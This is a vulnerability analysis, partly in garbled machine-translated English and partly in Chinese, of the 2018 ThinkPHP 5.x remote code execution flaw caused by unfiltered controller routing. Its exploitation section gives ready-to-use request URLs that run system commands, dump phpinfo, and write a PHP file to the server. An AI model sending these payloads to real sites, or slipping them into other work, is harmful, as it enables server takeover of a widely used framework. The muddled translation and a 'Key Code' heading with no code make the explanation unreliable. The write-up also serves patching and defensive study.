0x00 Foreword
ThinkPHP official December 9, 2018 released an important security updates , fixes a serious remote code execution vulnerability. The update mainly related to a security update, since the frame controller name without adequate testing may result in a possible turn in the absence of mandatory routing getshell vulnerability, affected versions, including versions 5.0 and 5.1, it is recommended to update to the latest version as soon as possible .
0x01 scope
5.0.0<=ThinkPHP5<=5.0.18
、5.1.0<=ThinkPHP<=5.1.10
0x02 Vulnerability Analysis
Thinkphp v5.0.x patches Address: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x patches Address: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
When the routing information in the controller is part of the filter, it is found faulty routing schedule
Key Code:
Program is not to be filtered before restoration controller, an attacker can call any class method by introducing \ symbol.
Wherein the $ this-> app-> controller was used to instantiate the controller, and then call the method instance. Follow-up controller method:
$ Module and wherein the parsed by parseModuleAndClass $ class methods, and examples of $ class.
The parseModuleAndClass method, when $ name with a backslash \ at the start it directly as a class name. Using namespace characteristics, can be controlled if the $ name here (i.e. in the part of the route controller), then it can be of any instance of a class.
接 着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息
代码比较简单,就是使用/对$url进行分割,未进行任何过滤。
其中的路由url从Request::path()中获取
由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。
0x03漏洞利用
环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html
1.利用system函数远程命令执行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.通过phpinfo函数写出phpinfo()的信息
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.写入shell:
或者http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>